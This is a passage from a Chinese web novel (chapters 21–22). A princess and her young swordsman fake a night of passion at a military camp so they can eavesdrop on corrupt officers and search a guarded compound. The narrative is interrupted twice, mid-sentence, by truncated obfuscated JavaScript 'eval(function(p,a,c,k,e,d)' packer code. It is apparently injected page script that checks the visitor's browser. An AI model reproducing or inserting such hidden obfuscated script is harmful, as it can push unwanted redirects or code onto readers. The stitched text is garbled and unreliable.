;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢郁棠的手终于大发慈悲离开了那劲瘦的腰,却转而沿着少年的手臂往下滑,势必要弄出点声音来:“你不会,连姑娘的手都没碰过吧。” 少年的衣袖在她一番乱搞之下被揉了上去,所以她没有任何衣料阻隔地握住他的小臂。 ……触感比她想象中还要好。 明明是习武之人,皮肤却跟羊脂籽玉似的,肌肉很薄一层绷在骨头上,她的指尖沿着微凸的血管向下摩挲。 “苏小世子将来还要娶妻的,脸皮这么薄可不行。” “听闻苏老将军一向风流随性,府上的美貌妾室没有七八也有五六……怎么到了你这里,反倒——” 话没说完,那只不安分的手忽地被人握住,接着小臂一紧,谢郁棠惊呼一声,再反应过来已经被以一个十分强势的姿态被压在了床架的立柱上。 痛倒是不痛。 但是这床架经不起撞,撞一下就晃三晃,连带着木头连接处发出吱呀吱呀的声音,再加上她那声惊呼,听起来就非常…… 门外,魏咸西和守卫们面面相觑。 “刚刚……是公主的声音?” 守卫们也大眼瞪小眼。 “这房里也没第三个人……吧?” 21. 第 21 章 屋内,少年手指摁上门板,猛地一推,刚要停下的声音又吱吱呀呀一阵乱响。 谢郁棠吓了一跳,一把扣住他手腕:“你做什么?” 少年勾了下唇,浸了水气儿的眸子抬起,在她耳边道:“主人不是想弄出点儿声音么,这样够不够?” 谢郁棠一时无言。 不知是没反应过来眼前的状况,还是不相信一向任她逗弄的少年竟会突然反攻,以至于连这略带挑衅的问话都没能怼回去。 “我爹的确风流随性……主人似乎也不遑多让。” 一顶大帽子突然扣下来,谢郁棠几乎疑心自己听错:“什么?” “前几日不是还有大臣送胡人艺伎给您么……”少年低沉清哑的声音里情绪难辨,“一个芳倌不够,还要几个?” 谢郁棠怔愣片刻,才费力地从回忆里扒拉出“芳倌”这么个人。 是她为了做戏从巍咸西府上领回来的小清倌。 缠人得不行,狠狠教训了一通才消停。 她几乎都把这人忘了,苏戮冷不丁提他作甚? “我不把他要过来,那姓巍的怎么肯放心收你?” 谢郁棠越说越气短,毕竟把将军府世子堂而皇之地用狗链牵回来完了再送去别人府上这种事,是她听了都会觉离谱的程度。 偏生人家还同意了。 “那那个胡人艺伎呢,主人夸他眼睛好看的那个。” 苏戮握住她的手腕,竟还问得很认真。 谢郁棠挑眉:“你找人监视我?” “属下哪敢。” 苏戮挑了下唇,“您可是京中一等一的贵人,人人巴不得攀附结交,您就算夸了只鸟儿,不出一日,这鸟儿的摸样便会传遍整个都城了。” …… 谢郁棠一时竟不知如何接话。 “那我呢?” 谢郁棠眨了下眼:“……你什么?” 苏戮定定看她:“我身上也有一半胡人的血,主人觉得我怎么样?” 谢郁棠一顿,随即嗤笑,反手压住少年的腰,狠狠推上门板。 又是砰的一声。 门外俩侍卫逐渐习以为常,对视一眼,懂的都懂。 谢郁棠指尖抚弄上少年的眉眼:“那艺伎确是好看,尤其是那双眼,跟天上的月亮似的,只可惜……跟这双比起来,还是差了点。” 指下的睫毛颤了颤。 谢郁棠故意上上下下将人打量一番,“他的身段不如你好,腰没你细,皮肤没你白,就连喘息的声音……都没你好听。” 少年的喉结滑动一下。 “虽说样样不如咱们苏小世子,但到底也是一等一的美人儿了,本宫收了也着实不亏。” 涂着丹蔻的指尖沿着少年玉似的脸颊往下划,“本宫就是担心,这来路不明的花带刺,万一是来刺杀本宫——” 差点就能挑开衣襟的手被少年握住。 “我连姑娘的手都没碰过,清白干净……主人要不要考虑一下我?” 他这话说得太轻松太自然,仿佛就是对她方才逗弄的反击,明明眼尾还泛着红,却转而就能以弱势的姿态四两拔千金地让她哑口无言。 谢郁棠默了片刻:“方才在船上,你要是真中了药,又当如何?” 骨酥之毒,魅惑嗜骨。 没有男人忍得住。 那他呢? 少年似是没料到她这跳跃的思绪,怔忪片刻,无声笑了下,认输般松开握在她腕上的手,仰靠在门板上,“主人觉得呢?” 算是接受了她避重就轻地转移话题。 谢郁棠拿出前世后宫干政的气度:“你就算真忍不住也没事,不管你招惹了谁,本宫都会全力保你的。” 顿了顿,她道:“也保得下你。” 谢郁棠说的是实话。 这是她复仇夺权路上最好用的一把刀,她不允许就这么折了。 苏戮不知道是不是被她那句“真忍不住也没事”给噎住了,神色古怪地沉默片刻,垂眸嗤笑一声:“您还真是大度……” 修长的手指在她腰间轻轻一挑,谢郁棠一惊,正要开口呵斥,只见他从她腰间穗带中勾出一枚玉佩。 谢郁棠一怔。 这是刚认主不久,他在受罚之后,亲手系在她腰间的。 这玉素得很,上面也没有任何泄露原主人身份的字样,是以谢郁棠在将苏戮“逐出”府后,依旧随身戴着。 少年的指尖在玉佩上拂过:“还记得我当时的话么?” 当然记得。 他说他是她的刀,让她想怎么用就怎么用。 他指尖勾着那玉佩轻轻一拉,谢郁棠被迫附身。 少年贴在她耳边:“我可是您的人,不要总是把我往外推。” “就算是刀,也是有脾气的。” * 月上柳梢。 甲手里拎着从后厨找来的空篮子,搓了搓在寒风中冻僵的手:“你说这魏统领也真是的,临走前交代咱们——一点动静都不许放过,明天一早事无巨细地汇报——他倒是多拨几个人啊,就咱俩哪儿够?” “你傻啊。”守卫乙靠着紧闭的屋门打了个哈欠,“刚屋里的动静谁没听见?只要不聋都知道里面是在干啥。” “魏统领要是真不放心,还能就派咱俩给这儿守着?” 守卫甲被这么一点,也回过味儿来,晃了晃手里的篮子:“要我说,这可真会玩啊,刚叫我送热水进去,这会又要花瓣,你说该不会——” “嘘,小点声。” 守卫乙撇了眼身后紧闭的屋门,压低声,“那位什么脾气你又不是不知道,你有空在这嚼舌根还不如赶紧去搞花瓣,要是送进去晚了,败了公主的兴致,咱们几颗脑袋都不够掉的。” 营口里住的都是兵痞子,一帮糙汉平时也不怎么讲究,能临时收拾出来间像样的厢房就不错了,哪会有什么沐浴用的花瓣。 守卫甲乖乖提着篮子去后山上现采花了,守卫乙紧了紧衣领,刚想打个盹,忽然一震,惊觉地按上腰间佩剑:“什么人?” 院外的竹林影影绰绰,守卫乙刚想过去查看,又忽地顿住,回头看了看紧闭的屋门,面露犹豫,此时同伴不在,这里只有他一个人,还是不要擅离职守的好。 竹林里又是一阵窸窣声响。 守卫乙犯了难,巍咸西命他们留在此地,一则是监视,二则也是护卫,毕竟堂堂一国公主,是决不能容许有任何闪失的,万一真有刺客潜伏……思及此处,守卫乙一咬牙,回头看了眼身后安然紧闭的大门,拔剑谨慎地探了过去。 林叶树枝影影绰绰,看不真切,守卫乙拔剑屏息,甚至做好了随时叫人的准备,只见前方假山上忽地窜出一只狸花猫,身形敏捷的跳了几下,从假山上踢掉一块小石子,钻进竹林里不见了。 ……原来是只猫。 守卫乙呼出口气,确认四下无人后,立即折回院内,见到院中一切如常,这才彻底放下心来。 毕竟他只离开了片刻功夫,那宁安公主又一门心思……放在那事上面,也确实不可能出什么乱子。 守卫乙前脚刚离开竹林,正一门心思“放在那事上”的谢郁棠就从院墙上翻了下来,她最近专于修炼,内里又长了不少,落地时没发出一点声响,甚至还用内力向苏戮传音:“那猫儿你从哪弄来的?” “出来探路的时候正巧碰到,就抱了过来。” 先前苏戮借着谢郁棠要热水的间隙偷偷潜了出来,他一边同样用内力传音回话,一边为她拨开挡在前面的竹叶枝杈,“从这里穿过去就是西院。” 西院是这营口里最偏的院房,住的多是军中资历最低的新兵蛋子,那看门小厮很有可能就在其中。 白日里谢郁棠故意放着轿撵不做,非要打马赶来,表面上看似是“救人心切”,实则是想借此打一个措手不及,还真让她诈出了点东西,要不是那巍咸西…… 谢郁棠白日里已将那门童的模样记在心中,打定了主意再他“聊聊”,像这种知道点东西、心里防线又脆的,用来做突破口再适合不过。 谢郁棠心里盘算着接下来的计划,没留神脚下,快要出竹林的时候被石阶绊了脚,苏戮稳稳托扶住她,山尖雪般清冽的气息扑面而来,谢郁棠呼吸停了片刻,率先抽身退了半步,掩饰性地咳嗽一声:“那个……” 抽身的动作只做了一半,少年突然栖身上来,捂住她的嘴,一个闪身,两人重又隐没在竹林间。 “小东子真是可怜,被打了五十军棍还要去柴房做苦力,今晚怕是连回来睡觉都难。” “谁让他不懂事乱说话,巍统领这是杀鸡儆猴呢,叫咱们都把嘴闭得严严实实,不要在公主面前乱说话。” …… 竹林月影下,谢郁棠被苏戮整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巍咸西现在还心有余悸,眼神凌厉的看着崔虎,“这么大的事,你是怎么让他知道的?!” …… 崔虎语塞,也不好再去纠缠宁安公主的事,“行了行了,该罚的你不也都罚过了?那小子要再敢多漏一个字,不用你说,我先把他头拧下来!” 顿了顿,他仍是放心不下:“你真确定公主她不是为了那东西来的?” 巍咸西嗤笑一声,“你也看到了,就那狐狸精的样子,谁能把持得住?” 隐在廊柱后的谢郁棠默默看了身侧一眼。 只见“狐狸精”面容沉静,睫毛在月光下投出一小片淡色的阴影,整个人就好像是画本里专食人精气的冷艳书生。 ——明明是打马仗剑的人,身上却是浸在骨子里的矜贵书卷气,再配上那一半的胡人血统,让整张脸呈现出一种让人想要狠狠蹂躏的破碎感。 谢郁棠的眼神丝毫不加掩饰,就这么直勾勾看着,再加上这近的距离,终于成功让“狐狸精”红了耳根。 “……主人。” 他以内里传音,却半点不看她,只专心致志盯着屋内,意思很明显——咱们是来偷听的,专心点。 谢郁棠因早先被他那句“我不是正好”给将了一军,暗自憋气到现在,此时便越发来了兴致。 “本宫在听,听得可认真了。” “本宫还能猜到这巍大统领在想什么——” “这老色鬼怕是反反复复把本宫骂了八百遍,心想这小狐狸精明明是到他嘴边的肥肉,怎么又让本宫抢了先?” …… “骨酥他都用上了,真是志在必得啊。”谢郁棠啧了一声,指尖在少年耳垂上虚虚一划,“只可惜……” 手腕再次被扣住。 巍咸西将桌上的冷茶一饮而尽,小腹下那股无名邪火却愈烧愈烈,“你是不知道,那俩人有多激烈,门板儿都撞得吱呀呀响,直到我走都没停!” 顿了顿,他声音低了点儿,“这谢郁棠也真是,这般生猛,也不怕……” 轮到谢郁棠微微一僵。 这个巍咸西,连她都编排上了。 耳边却是一声轻笑。 少年指尖在她腕上轻轻划了下,“主人还可以再生猛些。” …… 带笑的内息传音轻轻回荡在她耳边。 “我受得住。” 22. 第 22 章 崔虎亦被巍咸西这虎狼之词震撼到,拿眼角悄悄打量对方。 巍大人好男风这事不算是秘密,可他竟然,都不打算掩饰一下的么? 崔虎咳了一声,跟着义愤填膺:“就是,这宁安公主也忒不像话,苏世子明明都送给郭大人了,怎么能再要回去。” 眼看着巍咸西脸色越发不对,崔虎赶紧打住,正色道:“总之这几日你我都多上点心,那边已经来了信,再过几日就能把东西运走。” 说到正事,巍咸西勉强压下心里的火:“都安排好了?” “安排好了,万无一失。” 巍咸西点头。 心中却暗自腓腹,粗人就是粗人,话都不会说,要不是看在那东西还需要他的份上,他早就…… 不过那东西一天不运走,就是在他床下多埋一天的雷,叫他夜夜担惊受怕,觉都睡不踏实,现在总算日子撑到了头。 巍咸西拍了拍崔虎的肩:“等东西安全到了那边,少不了你的赏。在这之前,切要好好把守,不然,你我都——” 他做了个抹脖子的动作。 “放心吧,我加派了巡逻人手,日夜三班倒,保证一只苍蝇都飞不进去,公主那边若是问起,也有的是借口。” 崔虎说的没错,营口本就有日常巡逻,就算谢郁棠就此事问话,崔虎也大可以“护卫公主安全”为由搪塞过去,她若真只是“救人心切”在这里待上几日,是断然不会觉出有任何破绽的。 谢郁棠同苏戮对视一眼,探听到想要的消息,悄无声息地撤了。 第二日,谢郁棠故意拖到日上三竿才慢悠悠起床,用早膳的时候见屋外有动静便差人去问,原来是守卫在捉猫,说是昨晚有野猫在前院聒噪,怕扰了公主清净,便组织人手将猫捉了正准备打死。 那野猫被守卫用罩兜罩住,仿佛知道自己身陷险境,浑身炸毛,呲着牙准备随时进攻任何靠近他的人,守卫一时竟也拿它无法。 “这猫瞧着可爱,本宫这几日也无聊的很,不如就留下吧。” 守卫看看谢郁棠,再看看苏戮。 ……您这还叫“无聊”啊? 不过公主既发了话,底下人自是不敢怠慢,将猫用一只小笼装了,宛如献宝似的献了上来。 谢郁棠提着猫带着人回了屋,那猫被谢郁棠的生肉收买,美美饱餐一顿,收起了尖牙利爪,懒洋洋团在她腿上舔毛。 两人又将接下来的计划过了一遍。 “接下来就看你了。” 谢郁棠在猫头上拍了拍,那猫睁着圆圆的眼,奶奶的瞄了一声。 正要起身开门,却被苏戮拉住。 谢郁棠疑惑,只见少年看着她头顶,“主人的发髻有些乱了。” ……定是被猫挠的。 她重在梳妆台前坐下,铜镜中少年指骨分明的手指在发丝间穿梭,乱了一角的鬓发很快被妥帖的绾好,镜中的她秋瞳翦水,明艳庄丽。 是大兖荣宠最盛的宁安公主。 好像自从得了他在身边,她就一直被照顾的很好。 少年为她簪上发簪。 阳光从窗柩中斜斜筛下,他立光与影的交错中,他生的这般好看,长身玉立,矜贵雅正,却又浸着不属于这般年纪的沉静。 谢郁棠心中一动,拿起桌上的绢纸,按在唇上。 苏戮不解她的动作,愕然片刻:“是主人不喜这口脂的颜色?” 话音未落,谢郁棠已扯着他衣领迫人俯身,将绢纸一把拍在他脖颈上。 这是人身上最脆弱的部位,任何一个习武之人都会下意识地反击回防,但少年只是僵了片刻,便配合地定在那里,喉结有些不知所措地滑动一下:“您这是……” “装要装的像。” “现在所有人都知道你我荒淫无度了大半夜,本宫这般生猛,怎么能不在你身上留下点痕迹。” 谢郁棠故意加重了“生猛”二字。 苏戮眨了下眼,昨夜她贴的那样近,气息就在方寸之间,稍稍一动便能蹭到她的秀发,两人隐秘地听着他人口中谈论的自己的“风月”之事,她甚至还拿指尖刮他耳廓…… 那被刮过的地方渐渐又有些红了,苏戮垂了下眼。 谢郁棠想的却是,那个姓巍的色批竟敢觊觎她的东西,她就索性“生猛”到底,让整个营口的人都好好看看,这个“狐狸精”到底是属于谁的。 她心思这般明显,甚至根本没打算掩饰,苏戮哭笑不得,有些不自然地侧脸:“那也不用——” “别动。” 谢郁棠按住他,“要是印花了还得重来。” 为了让绢纸上的口脂充分地印上去,她甚至还贴心地用指甲刮了刮。 少年的呼吸停了片刻。 谢郁棠掀开绢纸,对成果相当满意,又把少年的鬓发揪乱几分,领口揉皱些许。 对着自己的杰作打量片刻,终于志得意满地收了手。 “本宫越是衣襟端正一丝不苟,你便越是要发丝凌乱衣衫不整,身上最好再留些可疑的痕迹——这样做戏才最真,你说是不是?” …… 苏戮已经接不了话。 他自小便不受人待见,娘亲早逝,父亲厌恶,没人亲近他,同他调笑。 前世戎马一生,也从未与任何女子有过牵扯。 虽然因为他这张脸,想入非非的不是没有,可即使是那样的目光中也有畏惧——只有谢郁棠是不同的。 他有些自嘲的垂了眼,自己自从跟了她,底线可真是一退再退。 “主人还可以再生猛些,我受得住——这话可是你自己说的。” 少年不理她,只把头偏向一边,谢郁棠来了劲,他把头偏向哪,她就跟着转去哪,一双眼睛眨巴眨巴,“苏世子,你不会玩不起吧。” ……还说他玩不起。 跪都跪了,狗链子也戴了,连男宠的名号都认下了,她还有什么不满意的。 苏戮都笑了。 “我要不把您赐的项圈戴上,您一手抱着猫,一手牵着我,绕着营口溜上一圈,好让所有人都知道,我是谁的禁脔?” 谢郁棠一顿,唇上弧度消失。 苏戮是气得紧了,此时见她神色有异,便觉的是自己说错了话,顿时乖乖认错:“抱歉,其实我——” 谢郁棠噗嗤一声笑出来。 她笑得这般开心,连头上的珠花步摇都跟着乱颤,仿佛根本不是身处稍有差池便会万劫不复的陷阱。 她眼中似有碎星闪动:“苏世子,你这不是很有趣嘛,以后同本宫相处,也不必拘谨。” 苏戮怔住。 她竟连这些,都注意到了么。 山尖开始簌簌落雪。 他垂眸,很轻地“嗯”了一声。 谢郁棠笑道:“可以出门了?” 苏戮点头,起身前却被抓住衣袖,谢郁棠附在他耳边道:“世子刚刚说其实什么?” 苏戮手指一抖,有些尴尬地避开她的视线。 谢郁棠却过分机敏:“你不会是想说——其实你并不介意做我的禁脔吧?” 猜的分毫不差。 “……” 少年从她手中把衣袖抽出来,也不看她,径直拉开房门:“走了。” 将人逗弄够了,谢郁棠心情大好,接下来一整日都在营口专心溜猫,说是溜猫,其实是猫溜人。 那猫好像也知道自己傍上了什么了不得的大腿,兴致高得很,左转转右逛逛,一副视察领地趾高气昂的模样。 宁安公主也惯它的很,由着这猫乱窜,小半日下来,整个营口都快给她逛过一遍了。 那猫逛累了,还被谢郁棠抱在怀里,粗粗的尾巴在公主的袖口上摇啊摇,一副大爷模样,直到走到东北角一处不起眼的宅院,猫不知怎么突然受了惊,叫了一声,从谢郁棠怀里跳下来,窜进树丛里不见了。 这营口里的院落大多是兵营,但前方的宅院看着却不像有人居住的样子,门前却三步一岗五步一哨地驻着守卫。 谢郁棠不动声色的扫了一眼,这些守卫各个年轻力壮,看他们握刀戒备的状态便知是营里的精锐。 “兵营重地,闲人免进。” 谢郁棠刚向前踏了一步,便被守门的两个士兵拦住,泛着银光的长刀在面前交叉,发出铿锵的争鸣之声。 “放肆!公主是什么人,也是你们能拦的?” 苏戮冷喝出声。 不过是平淡的语调,却带着上位者杀伐果决的威压,听得人心头一凛,忍不住想要臣服。 这是常年身居高位手握重权的将领才能有的气场。 谢郁棠不由得看了苏戮一眼。 这是她第一次见到这样的他,或者说,只有在她面前,少年才是那般模样。 她不由得回想起作为小慕清王的苏戮。 比现在更成熟冷硬,周身是浸在骨子里的冷冽,像山尖上的第一捧雪。 守的是浩荡山河,坐的是白骨如堆。 可这个世界的苏戮,明明还不是那个死人堆里爬出来的小慕清王,为何会给她如此相似的感觉? 那两个士兵再反应过来时,已经跪在地上,握着的长刀止不住发颤:“公主恕罪,只是上面交代 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简而言之,快碎掉了。 ——可他分明就是一副刚被玩弄过的样子啊! 把当朝慕清王府的世子收了做男宠,看对方在床上哼哼唧唧,结果一出手就是深不可测的冷面杀神。 ——现在的王室贵女,都玩这么大的吗! 崔虎咽了口吐沫,强行按下飞扬的思绪,姿态恭谨地朝谢郁棠行礼:“原来是公主殿下,末将不知殿下大驾,还以为有贼人闯入军营重地,下手失了分寸,请殿下恕罪。” 这可就是睁着眼睛说瞎话了,以崔虎的内力修为,怕是谢郁棠刚到门外他便已知晓。 谢郁棠懒得揭穿:“让开,本宫要进去找猫。” 崔虎寸步不让,做样环视了下四周:“殿下可有看到,那猫确是跑进了这院中?” “怎么,难道是本宫说谎?” “下官不敢。”崔虎态度恭谨,却是半分不退,稳稳拦在谢郁棠身前,“只是这里是军事重地,除非圣上亲令,否则任何人不得入内。” 谢郁棠嗤笑一声:“这等陈谷子烂芝麻的小事都要父皇亲令,父皇他老人家就算长了八百只手也管不过来啊。” …… 崔虎嘴角一抽,公主您还是快别说了,这种编排当今天子的话,就算您敢说,我也不敢听啊。 “崔大人,这话你诳那些没见过世面的地方小吏也就算了,用来诳本宫,是不是也忒瞧不起人了。” 谢郁棠话锋一转,“再说了,本宫就是进来找个猫,你这又是动刀,又是搬出父皇压我的,莫不是——这里真藏了什么见不得人的宝贝?” 崔虎心下一惊,忍不住开始揣测谢郁棠这话里到底有几分深意,还是只是单纯的随口一说,他心思急转,面上却不露半分声色,皮笑肉不笑道:“殿下莫要开这种玩笑,下官只是恪尽职守,还请殿下莫要为难。” “若本宫偏要为难呢?” 崔虎掌风一震,弹起地上的长刀握在手中,凌空一挽横在身前:“那就莫怪下官不客气了。” 只听一声清鸣,崔虎反应极快,连忙运气相抗,只是他用了十成的内力,仍是被那出鞘的剑气震得虎口发麻。 苏戮手握悬翦,长身玉立,挡在谢郁棠身前。 他就只是这么握着剑,剑尖以一个看似随意的角度斜斜低垂,但崔虎只看了一眼就知道,自己加上这里所有的守卫,都不是这一个人的对手。 也就是说,谢郁棠若执意要闯,他拦不住。 崔虎凝气十二分精神,已经做好了动手的准备。 只听一声又长又奶的猫叫,一团黑黄褐交杂的毛团不知从哪里滚了出来,稳稳停在谢郁棠脚边,侧着身子蹭了蹭,毛茸茸的尾巴尖还勾了下谢郁棠的裙角。 “可终于让本宫找到你了。” 谢郁棠眉开眼笑地抱起猫,神情是真心实意的欢喜,把猫翻来覆去地检查一遍,“还好没有受伤,以后可不许贪玩乱跑了,知不知道?不然本宫找你还要被人丢飞刀,一个不小心就闯了什么军营重地,还要被人群殴。” …… 崔虎听得脸上红一阵白一阵,还要装作没听到似的收了刀,挤出一个生硬的笑,拱手道:“恭喜殿下找到……呃、爱猫。” 谢郁棠又说什么猫尾巴尖脏了,要带猫回去洗澡,片刻都没多待人就走了。 崔虎将人送出去,一转身,脸上的笑便彻底不见,对心腹低声急道:“快去叫巍统领,出大事了,让他务必速速过来。”